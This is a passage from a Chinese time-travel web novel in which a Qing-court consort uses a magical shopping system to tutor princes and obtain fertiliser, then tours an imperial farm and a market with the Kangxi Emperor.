她正发愁今天的三人拼团任务该怎么触发呢,这两个自动上门的小可爱,就来做她现成的工具人吧!
看着两个小萝卜头兴冲冲地跑进来,围着自己身边叽叽喳喳地说个不停,岑盐絮脸上露出了一个在夏禾看来略显邪恶的笑容。
她带着两个小家伙一起看了一会儿精油的蒸馏过程,趁着小朋友们注意力完全被蒸馏过程吸引的时候,立刻低声对夏禾吩咐道:“夏禾,去我书房,找到桌上那本蓝色封皮的书籍。”
她嘀嘀咕咕地偷偷让夏禾把《快乐寒假》翻开到第12页,不用管文字,只往后誊抄两页算式就好,让她抄上两份拿过来。
夏禾虽有些疑惑主子要做什么,但还是依言快步去了书房,很快便誊抄了几张作业回来。
岑盐絮接过那几张纸,看着眼前两个可爱的小阿哥,脸上的笑容越发和蔼可亲。
“太子殿下,大阿哥,光看多没意思。来,我这里还有些特别有趣的小游戏,咱们一起看一看好不好呀?”
两个小阿哥完全不知道他们即将面对的是什么可怕的东西,只觉得
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瑜娘娘这里的玩意儿都新奇有趣。
一听说还有小游戏,立刻就被吸引了,小脑袋点得像小鸡啄米。
“好呀好呀!什么游戏?”胤礽仰着小脸,充满好奇。
胤禔也拍手:“爷最喜欢玩游戏了!”
岑盐絮脸上挂着再和善不过的笑容,将两人引到窗边的小几旁坐下,将两页寒假作业拿出来。
她特意选了一页相对基础,但对他们这个年纪来说绝对需要动动脑筋的应用题和稍难一些的图形题。
“来,我们先看这个……”她开始用尽量浅显有趣的语言讲解题目。
起初,两个小家伙还兴致勃勃,觉得这个游戏和自己平时玩的不太一样,听得尤其认真,小眉头微微蹙着,努力理解着,遇到不懂的,还会主动发问。
过了一会儿,被问题难倒,积极性就大不如前了。
尤其是大阿哥,刚开始还能坚持一会儿,但对着那些弯弯绕绕的数字,没到一炷香的功夫,就开始眼神发直,小脑袋一点一点,忍不住打了个大大的哈欠,显然是到了平日午歇的时辰,加上催眠的题目,几乎要趴在桌子上睡着了。
“认真听!”小太子不满地用胳膊肘碰了碰他。
胤禔勉强抬起眼皮,嘟囔着:“爷……爷听着呢……”手里攥着的毛笔却在纸上画出了一道歪歪扭扭的墨痕。
岑盐絮看着一个强打精神、一个昏昏欲睡的两个小萝卜头,心里笑得不行,但还得维持着一本正经的模样。
她重点辅导了一下还能跟得上的小太子,带着他一步步理清思路,最终磕磕绊绊地做完了一小页题目。
就在小太子放下笔,略带骄傲地看着自己写满答案的纸张时,岑盐絮脑海中期待已久的提示音终于响了:
【叮!检测到有效三人以上场合,身份判定:皇太子、皇长子。符合拼团触发条件!】
【随机任务:引导当前场合中的至少一人完成一次知识学习或技能练习。(已完成)】
【任务奖励发放中……恭喜宿主,获得卡通儿童相机玩具一台!(物品已自动存入商品暂存空间)】
成了!
32. 出宫!
询问之下,康熙才知道太子下午去了启祥宫,是岑盐絮教会的太子解题,这下,他心中对岑盐絮的好奇心更重了几分。
难道她除了能从系统商城获取物品,自身还得了什么不为人知的传承或学识?否则如何能将这些连他都需思索的题目,融会贯通以至于可以教会稚龄孩童?
*
穿越至今,岑盐絮的作息已经被宫廷生活的节奏影响,早就潜移默化地调整得十分规律。
这一夜她心中无事,睡得极早,翌日清晨,天光刚亮便自然醒来。
起身后,她精神奕奕,第一件事便是安排早膳,把自己想吃的菜色交代给了小太监,吃过几天来自御膳房的清淡的细糠之后,莫名地就想吃点味道刺激的垃圾食品。
她让春熙给了提膳太监些银子,又拿出上次用剩下的一块牛油火锅底料,吩咐道:“你去御膳房,让他们用这个底料,炒一锅……”
吩咐完,小太监领命而去,而岑盐絮在等待早膳的期间,便就开始做自己的事了。
岑盐絮将昨日买下的另一份草莓拿了出来。
她准备按照前世在短视频上刷到过的方法,尝试取种播种,最重要的工具是刀子和纸张,于是岑盐絮让春熙取来一把锋利的小刀和几张厚实的宣纸,就开始了动作。
她小心翼翼地捏起一颗草莓,然后用刀尖将草莓表皮连同上面芝麻粒般的籽一起,薄薄地削下来——这活儿需要耐心,她做得全神贯注。
削下来的草莓皮,被她仔细地铺在宣纸上,带籽的那一面朝上暴露在空气中。
一颗接一颗,直到将所有草莓都处理完毕,得到了满满几张铺着红色外皮和点点黑籽的宣纸。
处理下来的草莓果肉她也没浪费,珍惜地将果肉当成了餐前水果吃掉,随后,她带着春熙一起,将那几张宣纸端到院子里阳光最充足、又通风的地方进行暴晒。
按照短视频里的教程,等果皮彻底干透萎缩,粘到纸上,那些草莓籽就应该比较容易脱落下来了。
做完这一切,竟也花去了小半个时辰。
岑盐絮洗完手,便到了吃饭的时辰。
她起床后交代了提膳太监,让他去吩咐御膳房帮自己做一锅豪华至尊版的麻辣香锅,这个时间,那小太监正好回来。
当那满满一大盘红油赤酱、香气霸道、食材丰富的麻辣香锅被端上来时,岑盐絮忍不住咽了咽口水。
为什么说是豪华至尊版呢?因为这份香锅,虽然看起来和自己前世吃过的麻辣香锅类似,里面的菜品却不同寻常,除了虾仁、鸡肉、五花肉、蔬菜这些常见的食材,还有鹿里脊、鲍鱼、松茸等等,是她让御膳房自己思量着往里加的。
岑盐絮刚拿起筷子,就听见宫门外传来三下清晰的拍巴掌声音——这是御前的人快到了的提醒。
守在启祥宫前殿的小太监一听,赶紧小跑着穿过院子,到岑盐絮面躬身禀报:“圣驾往这边来了!”
话音还没落,宫门外就响起了太监的通报声:“皇上驾到——”
院子里正在做事的宫女和太监们,立刻静默地站好。
岑盐絮也赶忙放下手里的银箸,起身整理了一下衣裳,到宫门口迎接,心里还有点可惜面前这道菜,刚出锅的,还冒着热乎气儿呢。
让她先吃一口怎么了!
康熙走进来,一眼就看到了桌上那盘与众不同的菜肴,浓郁辛香的麻辣气息扑面而来,味道有点像前些日子吃过的红油火锅。
“爱妃这是又在弄什么吃食?”他饶有兴致地问。
岑盐絮便向他解释:“回皇上,不过是妾身嘴馋,想着换换口味,让御膳房用上次的红油底料做来试试的,您要不要一起用些?滋味可能重些。”
“无妨,朕今日便陪你一同用些。”康熙似乎心情不错,很自然地在她对面坐下,示意梁九功布菜。
不过康熙都来了,今日的早膳肯定不只是一盘麻辣香锅加几个小菜那么简单了,康熙的御膳也一同被送到了岑盐絮的餐桌上。
岑盐絮都有些罪恶感,大早上的,吃那么好!万恶的封建主义!
虽然内心在吐槽,但是她吃的还是非常开心的。
康熙那边,梁九功为他夹了些看起来相对清爽的藕片、莴笋和虾仁。
康熙尝了一口,香辣的滋味在口中炸开,虽然辛辣,却还是和上次一样勾人食欲。
两人就着这盘麻辣香锅,各自用了一碗饭,到底还是上午,多吃不益。
用完膳,康熙接过宫女奉上的清茶,漱了口,这才说起正事:“你献上的那些红薯藤,朕早前安排下去,在皇庄划了块好地,已经试着播种下去了。”
岑盐絮一听,眼睛顿时亮了。
康熙看着她瞬间焕发神采的眼睛,继续道:“朕下午要出宫去皇庄看看情况,你既对此物如此上心,便随朕一同前去吧。今夜便在庄子上歇一晚,明日再回宫。”
出宫?!在外面过夜?!
岑盐絮几乎不敢相信自己的耳朵,巨大的惊喜如同烟花在脑海中炸开!
她强忍着才没有失态地跳起来,连忙起身谢恩:“谢皇上恩典!”
声音里是掩不住的雀跃。
康熙看着她那副想笑又使劲憋着的模样,嘴角也不由得微微上扬。
“嗯,午后出发,你且准备一下,朕去一趟慈宁宫。”说罢,便起身离开了。
康熙一走,岑盐絮才恍然反应过来,他应该不是想过来和自己吃饭的,大概是下了朝要去向太皇太后请安,顺便亲口告诉自己这个好消息。
都怪自己这里的饭太香了,又让他蹭到了!
不过她已经不在意这一顿饭了,康熙走后,岑盐絮立刻像只快乐的小鸟,开始指挥宫人收拾行装。
虽然只住一晚,但这可是她穿越后第一次走出那道高高的宫墙!
意义非凡!
她首先想到的是衣服,在宫里穿惯了花盆底和宫装,出去自然要换方便的。
她让春熙找出一身之前原身的衣服,料子是普通的棉布,颜色是青碧色,看上去清爽又不起眼,鞋子也找了软底的绣花布鞋。
接着是路上的点心,夏禾吩咐太监去御膳房拿了些容易携带又不易坏的核桃酥、芝麻饼、还有几块新蒸的枣糕,用油纸包好,放进了一个小食盒里。
然后,她将自己水乳
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、唇釉,以及一些简单的钗环,都仔细地收进一个小妆匣里——第一次出宫,她一定要打扮好自己,以最好的面貌去感受外面那方广阔的世界。
最后是要带的宫人,岑盐絮决定只带春熙和常喜两个贴身伺候的,夏禾心思缜密,留下来镇守启祥宫她最放心。
一切准备就绪,岑盐絮只觉得时间过得格外慢,人还在宫里,心却早已飞到了宫墙之外。
*
午后,一辆外观朴素的马车在侍卫的护卫下,缓缓驶出了神武门。
当车轮碾过宫门门槛的那一刻,岑盐絮感到一种无形的束缚骤然松开。
她深深吸了一口气,仿佛连空气都带着与宫内不同的、更为鲜活自由的味道。
马车内部空间还算宽敞,康熙坐在主位,岑盐絮坐在左方。
虽然康熙在这里,依旧需要顾及宫闱礼节,不能过于随意,但她的心早已按捺不住。
她动作小心地掀开车窗帘子的一角,一双眸子充满好奇地望向窗外。
马车行驶在宽敞平整的官道上,两旁皆是高门大院,朱漆大门,石狮矗立,现在他们所处的这条道路上被清过场,远处的街道上,可以看到偶尔有穿着体面的仆役或乘着轿子的官员路过,一派富贵威严的景象。
往来行人衣着光鲜,神态从容,显然是达官显贵聚居的区域。
随着马车不断前行,周围的景致开始变化。
高大的府邸渐渐被普通的店铺和民居取代,街道变得狭窄了些,但也更加热闹。
商铺门口挂着各式招牌旗幌,卖布的、打铁的、沽酒的、卖小吃的……吆喝声、讨价还价声、孩童的嬉闹声交织在一起,充满了市井的烟火气。
行人的衣着也变得朴素了许多,颜色以灰、蓝、褐为主,但大多数人脸上并无菜色,步履也算从容,看起来虽不富裕,却也都能吃饱穿暖。
再往外走,房屋愈发稀疏低矮,泥土路面多了起来,岑盐絮看到了大片的农田和菜地,略显稀疏却绿油油的庄稼在春风中摇曳,那是这片土地的希望。
田间有农人正弯腰劳作,远处是连绵的土丘和茂密的树林。
阳光暖融融地洒在大地上,视野开阔,天高云淡,是与紫禁城内那种被精心修剪、格局严整的美截然不同的、充满野趣和生机的自然风光。
岑盐絮看得入了迷,几乎将半张脸都贴在了车窗边,贪婪地看着这一切。
这就是三百多年前的北京城郊吗?
如此真实,如此鲜活。
她看到路边有孩童追逐打闹,看到妇人坐在门前缝补,看到老农牵着慢悠悠的老牛……这一切都让她感到一种莫名的亲切与感动。
在马车上还不忘处理政务的康熙偶尔抬眼,便能看见她那双亮得惊人的眼睛,和那几乎要溢出车厢的好奇与欣喜。
他并未出声制止,只是静静地看着她这副与宫中沉静模样迥异的生动情态。
马车最终驶离了主干道,拐进一条更为幽静的小路,又行了一段,在一处有着高大围墙、门口有兵丁守卫的庄园前停了下来。
“皇上,瑜贵人,皇庄到了。”梁九功在外轻声禀报。
33. 肥料
岑盐絮深吸一口气,压下心中的激动,整理了一下衣襟,拍了拍微微有些兴奋而泛红的脸颊,准备下车,迎接她穿越后的第一次远行。
马车在皇庄门前停稳,梁九功摆好脚踏,康熙率先下了车,岑盐絮扶着康熙的手,紧随其后。
当她双脚踏上满是厚土的坚实土地,呼吸着夹杂着泥土青草气息的清新空气时,一种前所未有的踏实感涌上心头。
她下意识地环顾四周。
庄户和管事们早已跪伏在地迎接圣驾,侍卫们则肃立四周,护卫严密。
就在这一片恭敬垂首的人群中,一个身影却显得有些与众不同。
那人同样穿着侍卫服色,身姿挺拔,但气质却并非周围同伴那样的孔武刚硬,反而透着一股清雅书卷气,面容清俊,眉眼间带着一丝不易察觉的忧郁沉静。
岑盐絮的目光在他身上停留了不到一瞬,便立刻收了回来——她心中清楚自己的身份,在这众多耳目之下,绝不能有任何引人非议的举动。
然而,让她有些意外的是,那位清俊的侍卫竟朝着她和康熙所在的方向走了过来。
康熙显然也看到了他,并未露出不悦,反而颇为放松地指了指他,对岑盐絮温声道:“这位是纳兰性德,朕的御前侍卫。容若,还不多谢瑜贵人赠药之恩?”
原来他就是纳兰性德!那个名字在她前世课本和诗词集中熠熠生辉的满清第一词人!
岑盐絮心中划过一丝奇异的震动,历史的书页仿佛就在此刻,在她眼前鲜活地展开。
纳兰容若上前一步,对着岑盐絮深深一揖,声音清朗悦耳,带着真诚的感激:“微臣多谢瑜贵人救命之恩!贵人恩德,容若没齿难忘。”他姿态恭敬,礼节周全,眼神清澈,并无半分逾越。
岑盐絮忙侧身避过半分,声音亦是平和得体,既不过分热络,也不显冷淡:“纳兰侍卫言重了,不过是机缘巧合,药物对症罢了,你们身体康健,能为万岁爷效力,便是最好的结果。”
纳兰性德再次道谢后,便恭敬地退至一旁,并不久留。
岑盐絮目光扫过他离去的背影,心中仍觉得有些不可思议,这样一个翩翩公子,就这样真实地、有血有肉地站在自己面前,向她道谢,这种感觉,比她见到康熙时还要来得奇妙。
这个小插曲过后,康熙便带着岑盐絮步入皇庄。
这处皇庄规模不小,被管事和庄户打理得井井有条。
首先映入眼帘的是大片平整的田地,此时正是春末夏初,田里的小麦已抽出了青青的穗子,在风中泛起层层绿浪。
康熙对这里颇为熟悉,他指着远处的田垄,对岑盐絮说道:“朕每年春秋,都会抽空来这皇庄看看,有时也会亲自下地扶犁,体验稼穑之艰。”
他语气中带着对农事的看重:“你看那边,有一小块地,是朕自己辟出来,种些瓜菜,虽不及老农精通,倒也自得其乐。”
岑盐絮顺着他的手指望去,果然看到一小块被精心打理过的菜畦,里面种着些常见的蔬菜,长势颇好。
她没想到康熙还有这般亲民的爱好,不由得对他又添了几分新的认识。
接着,他们来到一片明显是新翻整过的土地前,土壤黝黑疏松,被划分成整齐的垄沟,上面种着岑盐絮很是熟悉的红薯藤。
“这里,便是试种你献上的红薯藤之处。”康熙说道,“朕让他们选了最肥的地,找了最有经验的老农看顾。”
岑盐絮看着这片充满希望的土地,仿佛已经能看到秋天时藤蔓遍地、块茎丰收的景象,心中充满了期待。
她在现代也只是见过超市里的红薯,此刻亲眼见到这番景象,都有些后悔为什么前世没有体验过下田,否则如今也不会什么都帮不上。
来不及悔恨,还有很多景色需要去看。
皇庄里还有鱼塘、果园、桑林,甚至还有一小片饲养牲畜的圈舍,康熙兴致颇高,带着她一一走过,不时讲解几句。
岑盐絮看什么都觉得新奇,成群的鸭鹅在池塘里嬉戏,果树上挂着的青涩小果,桑树上肥厚的叶片,都让她看得津津有味,与紫禁城内精致却刻板的环境截然不同,处处充满了蓬勃的生命力。
不知不觉,日头已偏西。
晚膳就设在庄子里一处视野开阔的亭子内,餐桌上的菜肴与宫中大不相同,没有那么多繁复的雕花和精致的摆盘,却透着一种质朴的新鲜。
清蒸鲈鱼里的鱼是刚从庄子里池塘捞上来的,非常鲜活,只用姜丝、葱段清蒸,再淋上少许酱汁,尝起来嫩滑鲜甜。
蒜苗炒鸡蛋里的鸡蛋是庄子里的鸡下的,蒜苗是地里刚掐的,香气扑鼻。
除此之外,还有一道比较特殊的,是庄户人家常做的贴饼子,用的是新磨的玉米面,贴在锅边烙得一面焦黄一面软和,嚼起来满口都是粮食的香甜。
每一道菜都最大限度地保留了食材本身的原味,那种无法替代的新鲜度,是御膳房经过层层工序运送来的食材难以比拟的,所以岑盐絮吃得格外香甜。
用过晚膳,天色已然昏暗,庄子里点起了灯笼,康熙去议事,岑盐絮则被引到早已收拾好的厢房休息。
直到坐在窗前,听着窗外隐约的虫鸣,岑盐絮才恍然惊觉——今天的系统每日秒杀还没看!而且,三人拼团的任务也还没着落!
在宫外新鲜了一天,差点把这事忘了!
她连忙屏退左右,只留春熙在外间守着,凝神唤出了系统界面。
淡蓝色的光屏浮现,四个商品图标依次排列:
老花镜,原价:5两银子。
牙刷和牙膏套装,原价:10两银子。
Type-C数据线(1米),原价:15两银子。
前三样,除了对牙刷牙膏感兴趣,其他两样都让她有些意兴阑珊,目光移向最后一样——
复合肥,原价:25两银子!
岑盐絮的眼睛瞬间亮了!肥料!这东西简直太有用了!
无论是她打算自己做院子里尝试播种的辣椒、草莓,还是皇庄里正在试种的红薯,都能派上用场!
系统这次总算刷出了点应景的东西!
她对牙刷牙膏和肥料志在必得,秒杀机会自然要用在较贵的肥料上
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。
支付一文钱,一份麻袋装着的肥料出现在墙角。
接着,她支付30两银子买了三套牙刷牙膏,想用225两再买下九份肥料时,突然感觉有点肉疼——她这次出宫为了方便,总共才带了三百两现银和一些银票,这一下子出去两百多两,还是用在公家的事上,怎么想都觉得亏得慌。
不行!她立刻否定了自己掏钱的想法。
这肥料明摆着是要用在皇庄的试验田里,是利国利民的好事,凭什么让她一个小小贵人自掏腰包?这钱,得从康熙身上薅!
打定主意,她立刻起身,整理了一下衣裙,便带着春熙出了厢房,径直朝着康熙下榻的主院走去。
刚到主院门口,一个面生的小太监便上前一步,躬身拦住了去路,语气虽然恭敬,却带着不容置疑的规矩:“贵人请留步,万岁爷正在里头处理政务,吩咐了暂不见人,请您稍候。”
岑盐絮脚步一顿,正想着是在外面等一会儿,还是晚点再来,主院的门“吱呀”一声从里面打开了。
梁九功走了出来,一眼看到被拦在外面的岑盐絮,再瞥见那个一脸公事公办的小太监,脸色立刻沉了下来。
他上前一步,毫不客气地对着那小太监的后脑勺就轻轻敲了一记,低声斥道:“没眼力见的东西!瑜贵人也敢拦?冲撞了贵人,你有几个脑袋够砍的?!”
那小太监被打得一愣,抬头看见梁九功阴沉的脸,顿时明白了这位贵人在万岁爷心里的地位,吓得脸都白了,噗通一声跪倒在地,连连磕头:“奴才有眼无珠!求瑜贵人恕罪!求梁总管恕罪!”
梁九功却不看他,立刻换上一副笑脸,对着岑盐絮躬身道:“贵人您别跟这没见识的东西一般计较,万岁爷刚批完几份紧急的折子,您快请进。”说着,便亲自侧身引路。
岑盐絮被梁九功这毫不掩饰的维护弄得有些意外,但面上不显,只对那小太监说了句“不怪你,起来吧”,便跟着梁九功走进了主院书房。
书房内,康熙正坐在案后揉着眉心,显然刚处理完政务,眉宇间带着一丝倦色。
见岑盐絮进来,他有些意外:“有事?”
岑盐絮行过礼,脸上露出一丝为难,开口道:“回皇上,仙师有所指示。”
康熙闻言,精神微微一振,倦意都驱散了些,目光锐利地看向她:“哦?仙师有何示下?”
“仙师言,感知到此地有沃土新垦,生机勃勃,愿赐下一种名为复合肥的肥料,能强健地力,促作物生长,于红薯乃至其他庄稼都大有裨益。”
岑盐絮一边说,一边小心观察着康熙的神色:“只是……仙师又说,此次赐物耗费能量颇巨,需人间金银之气稍作填补,方能成功降下,大约需要三百两银子。”
虽然其实只需要225两,但给她这个中间商赚个差价,也没关系的吧?她现在真的很需要钱啊!
略显心虚地说完,岑盐絮微微垂下头,一副“我也不想但仙师非要这样”的无辜模样。
康熙看着她那故作镇定的小表情,哪里会不明白?
但能怎么办,给她呗!
34. 五百两
她献上的红薯、羊毛乃至之前的药物,哪一样不是于国于民大有裨益?
如今这肥料若真如她所说能增产,莫说二百三十两,便是两千三百两也值得,她能有这份心思,总好过那些只知争宠贪好奢靡的妃嫔。
他慢悠悠地开口道:“既是关乎农事国本,岂能因区区金银之事耽搁。”
他转向侍立一旁的梁九功:“梁九功,取五百两银票来。”
五百两?岑盐絮猛地抬头,眼中满是惊讶。
康熙看着她瞪圆的杏眼,嘴角几不可查地弯了一下:“仙师既开了口,岂能让其小觑了朕与大清的诚意,多余的,便算作是朕感念仙师屡次相助的一点心意。”
梁九功应了声“嗻”,很快便取来了几张面额一百两的银票,共计五百两,恭敬地递给岑盐絮。
岑盐絮接过那轻飘飘却又沉甸甸的银票,心里乐开了花:“妾身谢过皇上!定将皇上诚意转达给仙师!”
“嗯,去吧,早些歇息,明日还要早起。”康熙挥了挥手,重新拿起一份奏折。
岑盐絮却没走。
开玩笑,康熙没有没收她的肥料的意思,但她买了肥料往哪儿放啊?!
那可是麻袋啊,整整九麻袋!
于是她示意康熙屏退左右,康熙看懂她的意思,挑了下眉,在众人惊讶的目光下,听从岑盐絮的指令,让他们退了出去。
屋内只剩岑盐絮和康熙两人,她立刻凝神唤出系统,立刻支付了二百二十五两银子,将剩余九份限购的复合肥全部买下。
微光接连闪烁,九个鼓鼓囊囊的麻袋“咚、咚、咚”地出现在房间角落,几乎堆成了一个小山堆,将这间本不算特别宽敞的房间占去了一大块地方,浓烈的、类似氨水混合着土腥气的肥料味道瞬间弥漫开来。
“咳咳……”岑盐絮被这味道冲得揉了揉鼻子,她看着麻袋上印着的繁体字说明——氮磷钾复合肥、适用于多种作物、“用量参考……”等等,不得不再次感叹系统更新后的贴心,这包装看起来虽然依旧奇特,但至少文字上开始融入这个世界了。
不过这种进化仅存在于外包装上,像上次的快乐寒假,虽然封皮上是繁体字,但内里还是简体字。
想要更多的进化,可能还得需要等到下次更新。
岑盐絮语气带着几分完成任务的轻松:“仙师所赐的复合肥已然送到,此物既于农事有益,理应交由皇上处置。”
康熙看着那堆麻袋,也闻到了空气中那股不算好闻的气味,但他面上未曾表露不适,他目光落在麻袋上那些清晰的繁体字说明上,依旧有些不解其意。
于是他看向岑盐絮,问道:“仙师可曾示下此物如何使用?”
岑盐絮早就想好了说辞:“回皇上,仙师只言此物能强健地力,促作物生长,至于具体何时用、如何用,用量几何,这麻袋之上都有说明。嫔妾于农事一窍不通,不敢妄言,还需皇上召集精通此道的官员或是庄头,仔细研读说明,试验一番才好。”
她把皮球踢了回去,顺便暗示需要专业人士在场——她的三人拼团任务还没完成呢!眼见着天要完了,能不能成,就看这一下了。
这话确实在理,康熙点了点头,召来梁九功,道:“去将户部员外郎陈廷敬叫来。”
“嗻。”
梁九功去喊人,书房内暂时只剩下康熙与岑盐絮两人。
岑盐絮立刻意识到,待会儿要来的必然是外臣,她终究不能见外男,便提议自己去里间听着,康熙点头同意了。
岑盐絮随即便不再耽搁,转身走进了与书房相连的里间。里间布置简单,仅有一张暖炕、一张小几和几个坐垫,她便在炕沿坐下。
不多时,梁九功领着一位穿着青色官袍、面容儒雅却带着风霜痕迹的中年官员便匆匆赶来。
他这些日子正忙着试种红薯藤,吃住都在皇庄,今夜他显然已经歇下,来得太急,官帽都有些戴歪了,但眼神仍然清明,见到康熙和岑盐絮,连忙行礼。
“爱卿平身,”康熙指着那堆肥料,“此乃新式肥料,名为复合肥,据闻于作物生长大有裨益。你且看看这上面的说明,与朕一同参详参详,看如何用于红薯试种最为妥当。”
陈廷敬领命,上前仔细查看麻袋上的说明。
他越看眼睛越亮,口中喃喃念着:“基肥……追肥……妙啊!若此物真如说明所言,能精准补充作物所需养分,其效恐怕远胜草木灰、粪肥之属!”
他显然是个懂行的,立刻抓住关键,开始结合红薯的生长习性,与康熙讨论起来,何处可作为基肥混入土壤,何时又可作为追肥施用,用量又该如何把握。
岑盐絮在里间听着,注意力全部放到了自己的系统屏幕上。
不知道这任务能不能完成……
就在他们就着烛光,围绕着肥料和红薯种植讨论了一炷香功夫后,岑盐絮期待已久的提示音响起:
【叮!检测到有效三人以上场合,身份判定:大清皇帝、户部官员。符合拼团触发条件!】
【随机任务:与当前场合中的至少两人就农事进行有效沟通并推动进展。(已完成)】
【任务奖励发放中……恭喜宿主,获得便携式太阳能充电宝一台!(物品已自动存入商品暂存空间)】
充电宝?!还是太阳能的!
岑盐絮心中狂喜!
虽然现在她还没有用电设备,但有了这个,万一将来系统再奖励个什么需要充电的小玩意儿,不就有希望了吗?
任务完成,奖励到手,肥料也成功交接,岑盐絮顿感一身轻松。
见康熙和陈廷敬还在深入探讨,她便悄悄去向梁九功说了一声:“万岁爷和陈大人探讨得正酣,我在此处也帮不上什么忙,便不打扰他们议事,先行离开了。”
梁九功闻言,恭敬地弯腰:“您请回吧,过会儿子,奴才帮您禀告万岁爷。”
于是岑盐絮心满意足地退了出去,将那一摊子事彻底甩给了康熙和他的专业团队。
回到自己的厢房,屏退了左右,她只觉得神清气爽。
解决了肥料的大事,又白得了几百两银子和一个充电宝,这趟皇庄之行真是收获颇丰。
看着窗外皎洁的月光,再看看铜镜中自己因为兴奋而显得格外明艳动人的脸庞,她忽
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然觉得,不能浪费了这大好的夜晚,更不能浪费了这难得的、在宫外相对自由的时光和此刻的好妆容!
一个念头冒了出来:是时候试试那个儿童相机了!
她小心地闩好门,从系统空间里取出了那台造型可爱的塑料相机。
拿在手里掂量一下,果然轻飘飘的,质感普通,但按键、镜头一应俱全,侧面还有一个小小的液晶屏可以预览。
她按照附赠的说明书开了机,小小的屏幕亮起,像素果然不高,画面带着明显的颗粒感,但对于记录影像来说,足够了!
她兴奋起来,先是小心翼翼地对准房间里的陈设——朴素的木床、简单的桌椅、摇曳的烛光,按下了快门。
“咔嚓”一声,一张张充满复古味道的照片瞬间定格了。
她玩心大起,又走到窗边,对着窗外洒满月光的庭院、远处模糊的田埂轮廓,再次按下快门。
然后,她调整角度,让相机对着穿着旗装、妆容精致的自己,来了张小小的自拍。
看着预览屏幕上那些模糊却真实记录下此刻景象的照片,岑盐絮心里充满了难以言喻的触动。
这或许是她在这个时代,唯一能留下的、属于自己的、带着现代印记的视觉回忆了。
看着自己的照片,眼眶中甚至有一些酸涩。
那是她吗?
她明明记得自己是长卷发,喜欢穿突显身材的吊带长裙。
这个梳着小两把头,穿着宽大旗装的女人是谁啊。
眼泪无知无觉地从脸颊滑下,岑盐絮感叹大晚上的,真是到网抑云时间了。
她卸了妆,顺便卸下了所有头饰,没敢用相机多拍,怕耗光电量,小心地关了机,珍重地收回系统空间。
做完这一切,她才洗漱,躺在床铺上。
窗外是清晰的蛙声虫鸣,月光柔柔地洒在窗前……她沉入了梦乡,期待着明天在皇庄的最后一个上午。
翌日清晨,天光尚未大亮,岑盐絮便已醒来。
昨晚的沉郁已经消散,此刻她心中充满了纯粹的、轻盈的期待。
人果然还是要向前看,沉溺于过去或过度忧思未来都毫无意义,抓住眼前的快乐才是正经。
更何况,今天可是有实实在在的盼头!
康熙亲口答应了她,要带她去逛逛宫外的集市,还要在外面的酒楼用早膳!光是想想,就让她兴奋得睡不下了。
她一个翻身坐起,动作利落地唤人进来伺候。
她穿了一身足够低调的青碧色的棉布襦裙,软底绣花布鞋,打扮得如同寻常人家的清丽小娘子。
一切准备停当,她便带着春熙和常喜,脚步轻快地到了主院门口等候。
不多时,康熙也出来了,他今日也换了一身宝蓝色的寻常绸缎长衫,作富家公子打扮,少了几分帝王的威严,多了几分清俊儒雅,只是那通身的气度依旧不凡。
见岑盐絮早已等候在此,一双眼睛亮晶晶地望着他,康熙眼中掠过一丝笑意,语气也比平日温和许多:“等久了?”
“没有,嫔妾也是刚到。”岑盐絮连忙摇头,嘴角却忍不住上扬。
35. 吃吃逛逛
“那便走吧。”康熙率先迈步,梁九功跟在一侧,几个同样穿着常服的侍卫无声地跟在稍远一些的地方护卫。
马车早已备好,是一辆外观朴素的青篷马车。
驶出皇庄,沿着来时的小路,很快便汇入了通往京城的官道。
与昨日傍晚入庄时不同,清晨的官道上已然热闹起来。
有推着独轮车、挑着担子赶早市的农户,有骑着骡马、行色匆匆的商旅,也有提着篮子,三三两两结伴而行的妇人。
马车没有进城,而是在靠近城门的一处热闹街市口停了下来。
这里显然是一个规模不小的集市,虽不及内城繁华,却充满了鲜活的市井气息。
“到了。”康熙低声说了一句,率先下了车,然后很自然地朝岑盐絮伸出手。
岑盐絮愣了一下,随即便将自己的手搭在了他那宽大温热的手掌上,借着他的力道轻盈地跳下马车。
一踏入集市,声浪和气息便扑面而来。
道路两旁挤满了各式各样的摊贩,卖菜的、卖肉的、卖竹编杂物的各种吆喝声、讨价还价声交织在一起,嘈杂却充满活力。
岑盐絮几乎是立刻就被吸引住了。
她努力保持着仪态,但一双眼睛却不受控制地四处张望,看什么都觉得新鲜。
水灵灵的青菜、活蹦乱跳的鲜鱼、码放整齐的鸡蛋、还有炸得金黄酥脆的油条和麻团……一切都让她感到无比有趣。
康熙走在她身侧,目光也时不时扫过周围,见她这副看什么都新奇的模样,他并未催促,反而放缓了脚步,任由她慢慢看。
“那豆腐脑看着好嫩……”
她偶尔会压低声音,带着雀跃指向某处,鲜活灵动极了。
康熙顺着她的目光看去,眼中带着一丝自己都未察觉的纵容,偶尔还会低声解释一两句:“想吃豆腐脑,前面酒楼有更地道的,若你想在这里吃,也无妨。”
“酒楼在哪里?”
“就在前头。”
穿过喧闹的集市,一行人来到了一家门面不算太大却人声鼎沸的酒楼前。
掌柜的眼尖,见康熙一行人虽衣着普通,但气度不凡,身后跟着的几人更是目光炯炯,不敢怠慢,连忙亲自迎了上来,将他们引到了二楼一个临窗的雅间。
雅间布置清雅,窗户敞开,正好可以看见楼下街道往来的行人,又不至于太过喧闹。
跑堂的伙计麻利地送上热茶和菜单。康熙将菜单推到岑盐絮面前:“看看,想吃什么?”
岑盐絮接过那写着密密麻麻菜名的木牌,眼睛更亮了。
她早就馋外面的吃食了,御膳房做得再精致,也少了这份市井的锅气。
她也不客气,点了几样心心念念的:“要一笼汤包,一碟水晶虾饺,一碗鸡丝馄饨,再要一份炸春卷,还有豆腐脑!”
康熙又补充了一道千层油糕、杏仁茶,并几样清爽小菜。
等待上菜的功夫,岑盐絮捧着温热的茶杯,看着窗外熙熙攘攘的人流,听着楼下传来的市井喧嚣,只觉得心情前所未有的放松和开阔。
这就是宫墙之外的世界,充满烟火气,也充满生命力。
很快,点心一样样送了上来,有可能是心理原因,岑盐絮只觉得与宫里的滋味截然不同。
她吃得格外满足,眉眼弯弯,把姿容仪态抛到了脑后。
康熙看着她毫不做作、大快朵颐的模样,也觉得,还是得带这样的人出宫,和这样的人生活,才舒心。
结账离开时,岑盐絮还颇有些意犹未尽,康熙见她喜欢,便道:“若喜欢,日后得了空,再带你出来。”
“好!谢谢爷!”岑盐絮立刻笑逐颜开,觉得今天连阳光都明媚了几分。
马车驶回紫禁城,康熙去了慈宁宫向太皇太后请安,岑盐絮则带着春熙和常喜,带着比出去时多了一倍的行李,回到了启祥宫。
踏入宫门,夏禾早已带着一众宫人恭敬等候。
见到岑盐絮安然归来,夏禾等人立刻行礼:“恭迎主子回宫。”
